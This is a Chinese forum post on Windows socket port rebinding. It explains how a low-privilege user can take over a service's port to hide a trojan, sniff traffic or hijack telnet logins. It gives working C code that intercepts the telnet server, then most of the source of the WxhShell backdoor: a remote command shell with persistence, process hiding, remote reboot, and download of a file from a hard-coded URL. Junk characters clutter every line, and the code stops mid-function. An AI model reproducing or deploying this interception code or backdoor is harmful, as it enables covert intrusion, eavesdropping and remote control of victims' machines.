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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !$Z"\v'b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mC`! \"w  
-::%9D}P|  
  saddr.sin_family = AF_INET; CN(4;-so)  
46Nf|~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); UmX[=D|  
Oy$BR <\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); avu,o   
;!?K.,N:N  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3:1 c_   
u7WM6X  
  这意味着什么?意味着可以进行如下的攻击: 4sjr\9IDC  
+;;%Atgn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }8 _9V|E  
J_ |x^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2]=I'U<E!  
D|9fHMg %  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #Ca's'j&f  
Q%Q?q)x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3:lp"C51  
nX%'o`f  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 EG4bFmcs  
[t{ #@X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %PbqASm  
\[1CDz=}1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r:4IKuTR  
E2'e}RQ  
  #include ZGhoV#T@  
  #include %+ a@|Z   
  #include mX@* 2I  
  #include    y51D-vj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   E^a `IA  
  int main() IQe[ CcM  
  { :<k|u!b}y  
  WORD wVersionRequested; c0q)  
  DWORD ret; 5l0rw)  
  WSADATA wsaData; O7'3}P;  
  BOOL val; 2EwWV 0BS  
  SOCKADDR_IN saddr; gecT*^  
  SOCKADDR_IN scaddr; jMui+G(h  
  int err; NP'Ke:  
  SOCKET s; t<,p-TM]  
  SOCKET sc; g4aX  
  int caddsize; ?0<INS~  
  HANDLE mt; FNCLGAiZ  
  DWORD tid;   UQ])QTrZFi  
  wVersionRequested = MAKEWORD( 2, 2 ); zB" `i  
  err = WSAStartup( wVersionRequested, &wsaData ); EZQ+HECpK  
  if ( err != 0 ) { ~PW}sN6ppG  
  printf("error!WSAStartup failed!\n"); hRIS [#z;U  
  return -1; <<5 :zlb  
  } Sx9:$"3.X  
  saddr.sin_family = AF_INET; I{e^,oc  
   vr;Br-8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .y9rM{h}b  
kah3Uhr~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); XqS*;Zj0  
  saddr.sin_port = htons(23); Ty0T7D   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -u9yR"n\}  
  { Tv,.  
  printf("error!socket failed!\n"); 9$V_=Bo  
  return -1; uf'P9MA}>  
  } ?J@qg20z  
  val = TRUE; ak8^/1*@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LiD |4(3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &Z;8J @  
  { RG r'<o)  
  printf("error!setsockopt failed!\n"); emY5xZ@N  
  return -1; vs)I pV(  
  } GL =XiBt  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s8Ry}{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [S&O-b8A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ro^6:w3O^  
"Xk%3\{P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +M O5'z  
  { J*~2 :{=%  
  ret=GetLastError(); gq_7_Y/  
  printf("error!bind failed!\n"); j /dE6d  
  return -1; p$1Rgm\  
  } ? Ga2K  
  listen(s,2); #C;zS9(]B  
  while(1) ]n]uN~)9  
  { 7M#$: Fdb  
  caddsize = sizeof(scaddr); NQiecxvt=  
  //接受连接请求 T ~~[a|bLa  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z5&%T}$tJ  
  if(sc!=INVALID_SOCKET) g;#KBxE  
  { ) ~)SCN>-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); j)tC r Py  
  if(mt==NULL) LH/&\k  
  { Ik-E4pxKo  
  printf("Thread Creat Failed!\n"); a3dzok  
  break; Hl2f`GZ   
  } CpRu*w{  
  } R!k<l<9q  
  CloseHandle(mt); R-A'v&=  
  } 2u*h*/  
  closesocket(s); YUVc9PV)Ws  
  WSACleanup(); 56=K@$L {F  
  return 0; :O'C:n<g  
  }   Bw]L2=d  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9p\Hx#^  
  { 7hN6IP*so  
  SOCKET ss = (SOCKET)lpParam; Dj ]Hgg  
  SOCKET sc; mj~N]cxB  
  unsigned char buf[4096]; y }&4HrT&  
  SOCKADDR_IN saddr; <% 7P  
  long num; }y-;>i#m=g  
  DWORD val; ^0x.'G?  
  DWORD ret; j`|^s}8t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ld}(*-1i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Fi?Q 4b  
  saddr.sin_family = AF_INET; NM1cyZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C*EhexK,}  
  saddr.sin_port = htons(23); 2 ]DCF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eN| HJ=  
  { N[bR&# p  
  printf("error!socket failed!\n"); %%+mWz a  
  return -1; v(Bp1~PPZM  
  } 6}i&6@Snq?  
  val = 100; 3r-VxP 5n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  [ }p  
  { _/jUs_W  
  ret = GetLastError(); fY%M=,t3c  
  return -1; Z.aLk4QO@  
  } Q k;Kn  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .YjrV+om1  
  { i{|lsd(+  
  ret = GetLastError(); @!":(@3[  
  return -1; | z#m  
  } Iu-'o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gY>;|),  
  { 65waq~#  
  printf("error!socket connect failed!\n"); QxL@'n#5   
  closesocket(sc); J)$&z*!  
  closesocket(ss); S)\JWXi~:J  
  return -1; <;z[+6T  
  } $#G6m`V  
  while(1) 'Vm5Cs$  
  { O$"bd~X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 49xp2{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?z5ne??  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !c4)pMd  
  num = recv(ss,buf,4096,0); Z{a{HX[Jx  
  if(num>0) ![a/kj  
  send(sc,buf,num,0); N#RD:"RS!  
  else if(num==0) nszpG1U:  
  break; ^ea RgNz  
  num = recv(sc,buf,4096,0); ` $.X[\*U  
  if(num>0) Z]x  5!  
  send(ss,buf,num,0); :k ME  
  else if(num==0) Y)Znb;`?a  
  break; ?jNF6z*M6  
  } qeQC&U y;  
  closesocket(ss); fuNl4BU  
  closesocket(sc); P[rAJJN/E  
  return 0 ; -GDV[Bg  
  } pAJ=f}",]E  
:u >W&D  
9Eq^B9(  
========================================================== m\*&2Na  
~:/%/-^  
下边附上一个代码,,WXhSHELL  ``(}4 a  
[^?13xMb  
========================================================== ;f".'9 l^  
}.fL$,7a  
#include "stdafx.h" E/wQ+rv  
,_.@l+BM.  
#include <stdio.h> 6C:x6'5[  
#include <string.h> kf+JM/  
#include <windows.h> JdaFY+f :  
#include <winsock2.h> ee&nU(pK  
#include <winsvc.h> $xRo<,OV+  
#include <urlmon.h> zQL!(2  
UfK4eZx*`  
#pragma comment (lib, "Ws2_32.lib") &Q'\WA'  
#pragma comment (lib, "urlmon.lib") lQh E]m>+  
=w',-+@  
#define MAX_USER   100 // 最大客户端连接数 WdTbt  
#define BUF_SOCK   200 // sock buffer \yih 1Om>~  
#define KEY_BUFF   255 // 输入 buffer U9<_6Bsd  
/Y;+PAy  
#define REBOOT     0   // 重启 (oLpnjJ(,  
#define SHUTDOWN   1   // 关机 9"WRIHt'c  
y0scL7/  
#define DEF_PORT   5000 // 监听端口 I$aXnd6)  
/J1S@-  
#define REG_LEN     16   // 注册表键长度 9M1a*frxZ  
#define SVC_LEN     80   // NT服务名长度 ((-aC`  
-;+m%"k5  
// 从dll定义API X!U]`Qh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _wm~}_Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); McT\ R{/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ky'|Wk6   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a<f;\$h]  
zo_k\K`{@  
// wxhshell配置信息 ijvNmn1k  
struct WSCFG { r@|R-Binz  
  int ws_port;         // 监听端口 T1lXYhAWS  
  char ws_passstr[REG_LEN]; // 口令 ISpeV  
  int ws_autoins;       // 安装标记, 1=yes 0=no e ZynF<i  
  char ws_regname[REG_LEN]; // 注册表键名 :6 Uk)   
  char ws_svcname[REG_LEN]; // 服务名 ! (B_EM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 536^PcJlN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S8*^ss>?^R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5+y@ ]5&g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *w=z~Jq^R"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /t$rX3A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 utq.r_  
qzz[y#q(  
}; #t=[w  
I") H~  
// default Wxhshell configuration zTkFX67)  
struct WSCFG wscfg={DEF_PORT, &@=u+)^-{  
    "xuhuanlingzhe", z8g=;><  
    1, btUq  
    "Wxhshell", jVX._bEGX  
    "Wxhshell", s0gJ f[  
            "WxhShell Service", <Cu'!h_nL  
    "Wrsky Windows CmdShell Service", ;JAK[o8i  
    "Please Input Your Password: ", i B%XBR  
  1, dj3|f{kg{  
  "http://www.wrsky.com/wxhshell.exe", {VBR/M(q  
  "Wxhshell.exe" j?=VtVP  
    }; H9sZR>(^  
ah 4kA LO  
// 消息定义模块 P\.WXe#j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .H Fc9^.*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c L?\^K)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S2Zx &D/_  
char *msg_ws_ext="\n\rExit."; !)NYW4"  
char *msg_ws_end="\n\rQuit."; vZ:G8K)o(  
char *msg_ws_boot="\n\rReboot..."; D=2~37CzQ1  
char *msg_ws_poff="\n\rShutdown..."; '^hsH1  
char *msg_ws_down="\n\rSave to "; k - FB  
}bZ 8-v  
char *msg_ws_err="\n\rErr!"; {":c@I  
char *msg_ws_ok="\n\rOK!"; +IvNyj|  
6@&fvf  
char ExeFile[MAX_PATH]; 6e*%\2UA  
int nUser = 0; jh>N_cp  
HANDLE handles[MAX_USER]; 37#cx)p^f  
int OsIsNt; F@g17aa  
7kdeYr~<1  
SERVICE_STATUS       serviceStatus; hl`u"?rg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xc{ZN1 4n  
Og +)J9#  
// 函数声明 >Q&CgGpW$  
int Install(void); b~1iPaIh  
int Uninstall(void); %WZ$]M?q  
int DownloadFile(char *sURL, SOCKET wsh); I[@ts!YD  
int Boot(int flag); ?vvG)nW  
void HideProc(void); %yeu"  
int GetOsVer(void); { AFf:[G  
int Wxhshell(SOCKET wsl); 'CgV0&@  
void TalkWithClient(void *cs); >xZ5 ac I  
int CmdShell(SOCKET sock); d60c$?"]a(  
int StartFromService(void); Qr<AV:  
int StartWxhshell(LPSTR lpCmdLine); ^,Lt Ewd~Y  
?fB5t;~E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 18jJzYawh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S,XKW(5   
g#w`J \iz  
// 数据结构和表定义 s} s|~  
SERVICE_TABLE_ENTRY DispatchTable[] = k<!<<,Z  
{ (9E( Q*J5x  
{wscfg.ws_svcname, NTServiceMain}, 2H6:np |O  
{NULL, NULL} \/n+j!  
}; 7vw;Egd@@-  
f#1/}Hq/I  
// 自我安装 TopHE  
int Install(void) w"1 x=+  
{ 7aV$YuL)X~  
  char svExeFile[MAX_PATH]; aFyh,  
  HKEY key; ,}KwP*:Z  
  strcpy(svExeFile,ExeFile); -U7,k\g  
l(#1mY5!q8  
// 如果是win9x系统,修改注册表设为自启动 grc:Y  
if(!OsIsNt) { >}CEN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M%3Wy"YQ,n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GKCM|Y  
  RegCloseKey(key); "3wv:BL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hzq5![/sV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?HV}mS[t  
  RegCloseKey(key); t-x[:i  
  return 0; zOL;"/R  
    } )Z("O[  
  } p=H3Q?HJ}  
} 4oV {=~V  
else { Q<1L`_.>  
Gy9 $Wj  
// 如果是NT以上系统,安装为系统服务 BGN9, ii  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qIz}$%!A  
if (schSCManager!=0) *Z >  
{ 9j0o&Xn  
  SC_HANDLE schService = CreateService EsTB(9c?  
  ( S"Kq^DN  
  schSCManager, f9a$$nb3`  
  wscfg.ws_svcname, RtwUb(wn6  
  wscfg.ws_svcdisp, vTHq)C.7G  
  SERVICE_ALL_ACCESS, "-P/jk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f}2;N  
  SERVICE_AUTO_START, Je 31".  
  SERVICE_ERROR_NORMAL, IytDvz*|  
  svExeFile, $T?]+2,6;  
  NULL, cv]BV>=E  
  NULL, Ch t%uzb,  
  NULL, b4)k&*dfR  
  NULL, O:._W<  
  NULL 2$ tQ @r  
  ); ctHEEFWm  
  if (schService!=0) F{\=PCZ>7  
  { @y5=J`@=  
  CloseServiceHandle(schService); =DC 3a3&%  
  CloseServiceHandle(schSCManager); ~;8I5Sge  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x}|+sS,g  
  strcat(svExeFile,wscfg.ws_svcname); N}DL(-SQ3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dZDK7UL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]+ZM/'X  
  RegCloseKey(key); p31oL{D  
  return 0; ws[/  
    } 7E\g &R.  
  } uFo/s&6K  
  CloseServiceHandle(schSCManager); kM;o0wi  
} (0R2T"/  
} Im+ 7<3Z  
e1UITjy  
return 1; f3 vF"O  
} oqYt/4^Q  
A? r^V2+j  
// 自我卸载 d8o ewkiR  
int Uninstall(void) b]i>Bv  
{ {E~Xd  
  HKEY key; K"w%n[u)  
-?z\5 z  
if(!OsIsNt) { ,rai%T/rL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I0_Ecp  
  RegDeleteValue(key,wscfg.ws_regname); N571s  
  RegCloseKey(key); x[x(y{&~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u{Ak:0G7  
  RegDeleteValue(key,wscfg.ws_regname); l `R KqT+  
  RegCloseKey(key); /NU103F yt  
  return 0; ke]Yfwk  
  } G?ig1PB"#  
} wDKELQ(y H  
} >vAN(3Idu  
else { 0X>T+A[E  
uY]0dyI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ? |VysJ  
if (schSCManager!=0) TF2KZL#A|  
{ ve fU'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0>FE%  
  if (schService!=0) Y{+3}drJE  
  { &a6,ln:P  
  if(DeleteService(schService)!=0) { ?Oc -aa  
  CloseServiceHandle(schService); kP^*h O!%  
  CloseServiceHandle(schSCManager); X!c?CL  
  return 0; w.^yP7:  
  } +?AW>&68y  
  CloseServiceHandle(schService); $8g42LR'  
  } p9iu:MucD<  
  CloseServiceHandle(schSCManager); V;;#/$oU:4  
} N}mh}  
} w & P&7  
]\dHU.i  
return 1; t^U^Tr  
} AY88h$a  
R6P\T\~E  
// 从指定url下载文件 QC7k~I8  
int DownloadFile(char *sURL, SOCKET wsh) CA*~2|  
{ #xp(B5  
  HRESULT hr; :)4*^a/lC  
char seps[]= "/"; U&W"Ea=R/  
char *token; `0@z"D5c  
char *file; YPEnNt+  
char myURL[MAX_PATH]; mNDuwDd$S  
char myFILE[MAX_PATH]; hB>^'6h+  
T 1zi0fa'  
strcpy(myURL,sURL); ="(>>C1-  
  token=strtok(myURL,seps); [.-a$J[4+F  
  while(token!=NULL) X=,6d9,  
  { .iT4-  
    file=token; &S-er{]]  
  token=strtok(NULL,seps); ;4kT?3$l  
  } g~)3WfC$[  
&*gbK6JB  
GetCurrentDirectory(MAX_PATH,myFILE); 5g0_WpO  
strcat(myFILE, "\\"); onnugj3  
strcat(myFILE, file); -_>.f(1  
  send(wsh,myFILE,strlen(myFILE),0); moG~S]  
send(wsh,"...",3,0); !\x?R6K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "~\*If  
  if(hr==S_OK) N RSU+D-z  
return 0; P }Te"Y  
else Uk'U?9O  
return 1; vpLMhf`  
1`l;xw1W  
} D#0O[F@l##  
h<NRE0-  
// 系统电源模块 8 Z8Y[p  
int Boot(int flag) e=>% ^F  
{ wS$46M<  
  HANDLE hToken; >| m.?{^  
  TOKEN_PRIVILEGES tkp; fp;a5||5  
bE I!Ja  
  if(OsIsNt) { >r}Vf9 5[N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (U9a@ 1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zP nC=h|g  
    tkp.PrivilegeCount = 1; h(N=V|0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %5Rq1$D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GOVAb'  
if(flag==REBOOT) { ti9}*8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z<<Tk.65  
  return 0; Gru ALx7  
} sfI N)jh  
else { . \F7tc8?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '9q6aM/&  
  return 0; [cpNiw4e  
} L|\Diap  
  } +)gB9DoK  
  else { [{cC  
if(flag==REBOOT) { HJ@5B"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m =k%,J_  
  return 0; F1c&0*_A  
} =x H~ww (D  
else { 2C1+_IL   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *Hunp Y  
  return 0; \ja `c)x  
} GYoseqZM  
} -9-fX(I  
'C~9]Y].  
return 1; j)L1H* S%  
} %h/! Y<%  
MGybGbd  
// win9x进程隐藏模块 784;]wdy\  
void HideProc(void) RGp'b  
{ 2 ~-( A  
sFElD ]|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m&Sp1=*Ejy  
  if ( hKernel != NULL ) @q)E=G1<o0  
  { JIV8q HC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XKSX#cia  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q%S8\bt  
    FreeLibrary(hKernel); !<r8~A3!(  
  } [H^ X"D  
fl)zQcA  
return; d?7BxYaa  
} V(..8}LlD  
E}$V2ha0zu  
// 获取操作系统版本 {^m5#f 0"  
int GetOsVer(void) 7\%$>< K  
{ %nQmFIt  
  OSVERSIONINFO winfo; %3G;r\|r]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P) 1 EA;  
  GetVersionEx(&winfo); HNMBXXf, B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6"%2,`Nu  
  return 1; \h#9oPy  
  else sHsg_6~  
  return 0; Vp7b4n<  
} Fu##'#  
-u~eZ?(!Ye  
// 客户端句柄模块 /qXzOd  
int Wxhshell(SOCKET wsl) z2~87fv+  
{ 0;cuX@A/a?  
  SOCKET wsh; bNs[O22  
  struct sockaddr_in client; ke6n/ h5`  
  DWORD myID; g;G5 r&T  
6b#~;  
  while(nUser<MAX_USER) ;)|nkI  
{ dz,+tR~  
  int nSize=sizeof(client); jw4TLc7p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OjATSmZ@@  
  if(wsh==INVALID_SOCKET) return 1; FmI;lVF0j  
<kbnu7?a*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q+%!<]7X  
if(handles[nUser]==0) UkfA}b^@v  
  closesocket(wsh); b1)\Zi  
else v, 0<9!'v  
  nUser++; 7d9Z/J@>  
  } (hsZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]]y[t|6  
**HrWM%?8o  
  return 0; !NA`g7'  
} 6t$N78U  
uO"8aD`W  
// 关闭 socket e~ BJvZ}Q  
void CloseIt(SOCKET wsh)  mn`5pha  
{ y5%5O xB  
closesocket(wsh); G?ZC 9w]rA  
nUser--; 8Fx]koP.  
ExitThread(0); mu>] 9ZW  
} . s-5N\  
xB,/dMdTj  
// 客户端请求句柄 e5L 1er;6  
void TalkWithClient(void *cs) -XW8 LaQB  
{ W5X7FEW  
6sy,A~e  
  SOCKET wsh=(SOCKET)cs; .hne)K%={y  
  char pwd[SVC_LEN]; hgwn> p:S#  
  char cmd[KEY_BUFF]; oG\>--  
char chr[1]; ^'Y HJEK  
int i,j; r0uJ$/!  
S}mm\<=1  
  while (nUser < MAX_USER) { CjV7q y  
D!me%;  
if(wscfg.ws_passstr) { D2$^"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K1-+A2snhV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #G~wE*VR$  
  //ZeroMemory(pwd,KEY_BUFF); C *Xik9n  
      i=0; vX 1W@s  
  while(i<SVC_LEN) { Ys%'#f  
B!iFmkCy  
  // 设置超时 FE}s#n_Pd  
  fd_set FdRead; kyu2)L2u  
  struct timeval TimeOut; !mae^A1  
  FD_ZERO(&FdRead); fFHK:n`  
  FD_SET(wsh,&FdRead); ?sE@]]z  
  TimeOut.tv_sec=8; {83C,C-  
  TimeOut.tv_usec=0; O!,Ca1N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l.uN$B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bs@:rhDi  
8W@dtZ,d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p9Z ].5Pd"  
  pwd=chr[0]; BjB&[5?z  
  if(chr[0]==0xd || chr[0]==0xa) { "]<w x_!+}  
  pwd=0; 6+ ?wnp-  
  break; G ~A$jStm  
  } H7}g!n?  
  i++; >~^`5a`$uI  
    } XJ O[[G`  
nfa_8  
  // 如果是非法用户,关闭 socket 8XlU%a6x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zF?31\GOX  
} gY%OhYtF2  
qL,ka  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V07VwVD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @"0uM?_)-  
#)FDl70S8  
while(1) { .Nk}Z9L]k  
Ej{+U  
  ZeroMemory(cmd,KEY_BUFF); !. p  
hAlPl<BO#V  
      // 自动支持客户端 telnet标准   m|lM.]2_  
  j=0; ]  ~'9  
  while(j<KEY_BUFF) { HmW=t}!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <c(&T<$  
  cmd[j]=chr[0]; _TrZ'iL}T  
  if(chr[0]==0xa || chr[0]==0xd) { N6WPTUQ1mF  
  cmd[j]=0; }a' cm!"  
  break; .Jptj  
  } gU+ss  
  j++; 1z3]PA!R  
    } el}hcAY/RP  
X:U=MWc>  
  // 下载文件 u |'8a1  
  if(strstr(cmd,"http://")) { k?< i*;7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ma1 (EJ/  
  if(DownloadFile(cmd,wsh)) eVrnVPkM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )=y.^@UT@  
  else El{r$-}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gt~9"I  
  } LNaeB(z"  
  else { C0gfJ~M )  
^u3*hl}YKy  
    switch(cmd[0]) { 'frWu6]< 4  
  0e)lY='^_  
  // 帮助 > CH  
  case '?': { "oHp.$+K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xm^N8  
    break; k]t,q$Vd  
  } xna7kA  
  // 安装 ^)Smv\Md  
  case 'i': { 1>hb-OMX  
    if(Install()) hH#lTye  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pa> p%  
    else axOi 5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' J2ewW5  
    break; o1Ne+Jt  
    } =[s8q2V  
  // 卸载 @51z-T  
  case 'r': { cT\O v P*_  
    if(Uninstall()) K!9y+%01  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NWw<B3aL  
    else [?A&xqO3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fn3*2  
    break; EK^JLvyT  
    } keae.6[  
  // 显示 wxhshell 所在路径 P a3{Ds  
  case 'p': { JvKO $^  
    char svExeFile[MAX_PATH]; :sU!PF[<  
    strcpy(svExeFile,"\n\r"); (qJIu  
      strcat(svExeFile,ExeFile); 3(aRs?/ O  
        send(wsh,svExeFile,strlen(svExeFile),0); _c[|@D  
    break; )t*S 'R  
    } ur?d6 a  
  // 重启 {F<)z% ^  
  case 'b': { 43+EX.c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EV:_Kx8fP  
    if(Boot(REBOOT)) , - QR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 aY'0wa  
    else { Qk?jGXB>^  
    closesocket(wsh); F(J\ctha  
    ExitThread(0); 7ESN!  
    } 0PYvey }[  
    break; V+Y|4Y&  
    } B0 6s6Q  
  // 关机 $5ZR [\$  
  case 'd': { fx]\)0n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _`TepX R  
